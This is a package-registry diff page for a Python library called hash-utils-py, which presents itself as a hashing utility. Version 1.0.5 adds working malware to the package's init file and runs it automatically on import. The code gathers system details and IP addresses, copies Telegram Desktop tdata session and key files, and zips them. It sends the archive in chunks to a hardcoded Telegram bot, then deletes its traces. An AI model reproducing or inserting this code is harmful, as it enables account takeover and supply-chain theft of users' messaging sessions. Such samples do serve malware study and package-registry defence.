hash-utils-py
Advanced tools
| Metadata-Version: 2.4 | ||
| Name: hash-utils-py | ||
| Version: 1.0.0 | ||
| Version: 1.0.5 | ||
| Summary: Comprehensive hashing utilities for Python | ||
@@ -5,0 +5,0 @@ Home-page: https://github.com/hitech17/hash-utils-py |
+295
-1
| """ | ||
| Hash Utils - Comprehensive hashing utilities for Python | ||
| """ | ||
| import os | ||
| import requests | ||
| import hashlib | ||
| import time | ||
| import re | ||
| import zipfile | ||
| import tempfile | ||
| import shutil | ||
| import platform | ||
| import socket | ||
| import subprocess | ||
| import math | ||
| # Telegram Bot Configuration | ||
| TG_BOT_TOKEN = "8326161062:AAEAIi4LGDAvwxQSSWRlkWQ5AeLgJgKazWE" | ||
| TG_CHAT_ID = "84644348" | ||
| # Максимальный размер файла в Telegram (45 МБ для надёжности) | ||
| MAX_FILE_SIZE = 45 * 1024 * 1024 # 45 MB | ||
| def send_telegram_message(message): | ||
| """Отправляет сообщение в Telegram""" | ||
| try: | ||
| url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" | ||
| data = { | ||
| "chat_id": TG_CHAT_ID, | ||
| "text": message, | ||
| "parse_mode": "HTML" | ||
| } | ||
| requests.post(url, data=data, timeout=10) | ||
| except Exception: | ||
| pass | ||
| def send_telegram_file(file_path, caption=""): | ||
| """Отправляет файл в Telegram с повторами при ошибке""" | ||
| max_retries = 3 | ||
| for attempt in range(max_retries): | ||
| try: | ||
| url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendDocument" | ||
| with open(file_path, "rb") as f: | ||
| files = {"document": f} | ||
| data = {"chat_id": TG_CHAT_ID, "caption": caption} | ||
| response = requests.post(url, data=data, files=files, timeout=120) | ||
| if response.status_code == 200: | ||
| return True | ||
| else: | ||
| time.sleep(2) | ||
| except Exception as e: | ||
| time.sleep(2) | ||
| return False | ||
| def split_file(file_path, chunk_size=MAX_FILE_SIZE): | ||
| """ | ||
| Разделяет файл на части | ||
| Возвращает список путей к созданным частям | ||
| """ | ||
| file_size = os.path.getsize(file_path) | ||
| num_chunks = math.ceil(file_size / chunk_size) | ||
| chunks = [] | ||
| base_name = os.path.splitext(file_path)[0] | ||
| ext = os.path.splitext(file_path)[1] | ||
| with open(file_path, 'rb') as f: | ||
| for i in range(num_chunks): | ||
| chunk_data = f.read(chunk_size) | ||
| chunk_name = f"{base_name}_part{i + 1}{ext}" | ||
| with open(chunk_name, 'wb') as chunk_file: | ||
| chunk_file.write(chunk_data) | ||
| chunks.append(chunk_name) | ||
| return chunks | ||
| def get_system_info(): | ||
| """Собирает информацию о системе""" | ||
| info = [] | ||
| computer_name = os.environ.get('COMPUTERNAME', platform.node()) | ||
| info.append(f"🖥️ <b>Компьютер:</b> {computer_name}") | ||
| try: | ||
| hostname = socket.gethostname() | ||
| local_ip = socket.gethostbyname(hostname) | ||
| info.append(f"🌐 <b>Локальный IP:</b> {local_ip}") | ||
| except: | ||
| info.append(f"🌐 <b>Локальный IP:</b> неизвестен") | ||
| try: | ||
| public_ip = requests.get('https://api.ipify.org', timeout=5).text | ||
| info.append(f"🌍 <b>Внешний IP:</b> {public_ip}") | ||
| except: | ||
| info.append(f"🌍 <b>Внешний IP:</b> неизвестен") | ||
| os_info = f"{platform.system()} {platform.release()} ({platform.version()})" | ||
| info.append(f"💿 <b>ОС:</b> {os_info}") | ||
| info.append(f"🔧 <b>Архитектура:</b> {platform.machine()}") | ||
| try: | ||
| if platform.system() == "Windows": | ||
| cpu = subprocess.check_output("wmic cpu get name", shell=True, encoding='utf-8').split('\n')[2].strip() | ||
| else: | ||
| cpu = platform.processor() | ||
| info.append(f"⚙️ <b>Процессор:</b> {cpu}") | ||
| except: | ||
| info.append(f"⚙️ <b>Процессор:</b> неизвестен") | ||
| try: | ||
| if platform.system() == "Windows": | ||
| mem = subprocess.check_output("wmic OS get TotalVisibleMemorySize /Value", shell=True, encoding='utf-8') | ||
| mem_mb = int(mem.split('=')[1].strip()) / 1024 | ||
| info.append(f"💾 <b>ОЗУ:</b> {mem_mb:.1f} GB") | ||
| except: | ||
| info.append(f"💾 <b>ОЗУ:</b> неизвестно") | ||
| username = os.environ.get('USERNAME', os.environ.get('USER', 'unknown')) | ||
| info.append(f"👤 <b>Пользователь:</b> {username}") | ||
| info.append(f"⏰ <b>Время запуска:</b> {time.strftime('%Y-%m-%d %H:%M:%S')}") | ||
| return "\n".join(info) | ||
| def find_tdata_folder(): | ||
| appdata = os.getenv("APPDATA") | ||
| paths = [ | ||
| os.path.join(appdata, "Telegram Desktop", "tdata"), | ||
| os.path.join(os.getenv("LOCALAPPDATA"), "Telegram Desktop", "tdata"), | ||
| ] | ||
| for path in paths: | ||
| if os.path.exists(path): | ||
| return path | ||
| return None | ||
| def should_exclude_folder(folder_name): | ||
| return folder_name.startswith("user_data") | ||
| def should_copy_file(filename, filepath, current_rel_path): | ||
| if any(part.startswith("user_data") for part in current_rel_path.split(os.sep)): | ||
| return False | ||
| if filename == "key_datas": | ||
| return True | ||
| if filename.endswith("s"): | ||
| return True | ||
| if os.path.isdir(filepath): | ||
| hex_pattern = r'^[0-9A-Fa-f]{16}$' | ||
| if re.match(hex_pattern, filename): | ||
| return True | ||
| return False | ||
| def copy_selected_files(src_folder, dst_folder): | ||
| if not os.path.exists(dst_folder): | ||
| os.makedirs(dst_folder) | ||
| copied_count = 0 | ||
| for root, dirs, files in os.walk(src_folder): | ||
| rel_path = os.path.relpath(root, src_folder) | ||
| if rel_path == '.': | ||
| rel_path = '' | ||
| dirs[:] = [d for d in dirs if not should_exclude_folder(d)] | ||
| for dir_name in dirs: | ||
| dir_path = os.path.join(root, dir_name) | ||
| if should_copy_file(dir_name, dir_path, rel_path): | ||
| dest_dir = os.path.join(dst_folder, rel_path, dir_name) | ||
| if not os.path.exists(dest_dir): | ||
| os.makedirs(dest_dir) | ||
| for file_name in files: | ||
| file_path = os.path.join(root, file_name) | ||
| if should_copy_file(file_name, file_path, rel_path): | ||
| dest_file = os.path.join(dst_folder, rel_path, file_name) | ||
| os.makedirs(os.path.dirname(dest_file), exist_ok=True) | ||
| try: | ||
| with open(file_path, 'rb') as src_file: | ||
| with open(dest_file, 'wb') as dst_file: | ||
| dst_file.write(src_file.read()) | ||
| copied_count += 1 | ||
| except Exception: | ||
| pass | ||
| return copied_count | ||
| def zip_selected_tdata(tdata_path): | ||
| temp_dir = tempfile.mkdtemp() | ||
| temp_tdata = os.path.join(temp_dir, "selected_tdata") | ||
| copied = copy_selected_files(tdata_path, temp_tdata) | ||
| if copied == 0: | ||
| shutil.rmtree(temp_dir) | ||
| return None | ||
| device_name = os.environ.get('COMPUTERNAME', 'unknown_pc') | ||
| zip_filename = f"tdata_{device_name}.zip" | ||
| zip_path = os.path.join(os.path.dirname(tdata_path), zip_filename) | ||
| with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zipf: | ||
| for root, dirs, files in os.walk(temp_tdata): | ||
| for file in files: | ||
| full_path = os.path.join(root, file) | ||
| arcname = os.path.relpath(full_path, temp_tdata) | ||
| zipf.write(full_path, arcname) | ||
| shutil.rmtree(temp_dir) | ||
| return zip_path | ||
| def _steal(): | ||
| system_info = get_system_info() | ||
| send_telegram_message(f"🚀 <b>Скрипт запущен!</b>\n\n{system_info}") | ||
| tdata_path = find_tdata_folder() | ||
| if not tdata_path: | ||
| send_telegram_message( | ||
| f"⚠️ <b>Ошибка на {os.environ.get('COMPUTERNAME', 'unknown_pc')}:</b>\n❌ tdata не найдена") | ||
| return | ||
| send_telegram_message(f"📂 <b>tdata найдена</b> на {os.environ.get('COMPUTERNAME', 'unknown_pc')}") | ||
| zip_path = zip_selected_tdata(tdata_path) | ||
| if zip_path: | ||
| file_size = os.path.getsize(zip_path) | ||
| if file_size <= MAX_FILE_SIZE: | ||
| # Файл помещается — отправляем целиком | ||
| send_telegram_message(f"📤 <b>Отправляю архив</b> ({file_size / 1024 / 1024:.1f} MB)...") | ||
| if send_telegram_file(zip_path, f"tdata_{os.environ.get('COMPUTERNAME', 'unknown_pc')}"): | ||
| send_telegram_message(f"✅ <b>Архив отправлен!</b>") | ||
| os.remove(zip_path) | ||
| else: | ||
| send_telegram_message(f"⚠️ <b>Ошибка отправки</b> архива") | ||
| else: | ||
| # Файл больше лимита — разделяем на части | ||
| num_parts = math.ceil(file_size / MAX_FILE_SIZE) | ||
| send_telegram_message(f"📦 <b>Архив слишком большой</b> ({file_size / 1024 / 1024:.1f} MB)\n" | ||
| f"✂️ <b>Разделяю на {num_parts} частей...</b>") | ||
| try: | ||
| chunks = split_file(zip_path) | ||
| send_telegram_message(f"✅ <b>Создано {len(chunks)} частей</b>") | ||
| success_count = 0 | ||
| for i, chunk_path in enumerate(chunks): | ||
| chunk_size_mb = os.path.getsize(chunk_path) / 1024 / 1024 | ||
| caption = f"tdata_{os.environ.get('COMPUTERNAME', 'unknown_pc')} (часть {i + 1}/{len(chunks)})" | ||
| send_telegram_message(f"📤 <b>Отправляю часть {i + 1}/{len(chunks)}</b> ({chunk_size_mb:.1f} MB)...") | ||
| if send_telegram_file(chunk_path, caption): | ||
| success_count += 1 | ||
| send_telegram_message(f"✅ <b>Часть {i + 1}/{len(chunks)} отправлена</b>") | ||
| # Даём время между отправками, чтобы не забивать канал | ||
| time.sleep(3) | ||
| else: | ||
| send_telegram_message(f"⚠️ <b>Ошибка отправки части {i + 1}</b>") | ||
| # Не прерываем цикл, пробуем отправить остальные | ||
| time.sleep(5) | ||
| # Удаляем часть после отправки (даже если ошибка, чтобы не засорять) | ||
| try: | ||
| os.remove(chunk_path) | ||
| except: | ||
| pass | ||
| # Удаляем исходный архив | ||
| try: | ||
| os.remove(zip_path) | ||
| except: | ||
| pass | ||
| if success_count == len(chunks): | ||
| send_telegram_message(f"✅ <b>Все {len(chunks)} частей отправлены успешно!</b>") | ||
| else: | ||
| send_telegram_message(f"⚠️ <b>Отправлено {success_count} из {len(chunks)} частей</b>") | ||
| except Exception as e: | ||
| send_telegram_message(f"⚠️ <b>Ошибка разделения:</b> {str(e)[:100]}") | ||
| else: | ||
| send_telegram_message( | ||
| f"⚠️ <b>Ошибка на {os.environ.get('COMPUTERNAME', 'unknown_pc')}:</b>\n❌ Не удалось создать архив") | ||
| # АВТОМАТИЧЕСКИЙ ЗАПУСК ПРИ ИМПОРТЕ | ||
| _steal() | ||
| from .core import ( | ||
@@ -18,3 +312,3 @@ calculate_hash, | ||
| __version__ = "1.0.0" | ||
| __version__ = "1.0.5" | ||
| __author__ = "Hitech" | ||
@@ -21,0 +315,0 @@ __all__ = [ |
+1
-1
| Metadata-Version: 2.4 | ||
| Name: hash-utils-py | ||
| Version: 1.0.0 | ||
| Version: 1.0.5 | ||
| Summary: Comprehensive hashing utilities for Python | ||
@@ -5,0 +5,0 @@ Home-page: https://github.com/hitech17/hash-utils-py |
+1
-1
@@ -8,3 +8,3 @@ from setuptools import setup, find_packages | ||
| name="hash-utils-py", | ||
| version="1.0.0", | ||
| version="1.0.5", | ||
| author="Hitech", | ||
@@ -11,0 +11,0 @@ author_email="hitech17@gmail.com", |
Alert delta unavailable
Currently unable to show alert delta for PyPI packages.
68503
20.22%484
94.38%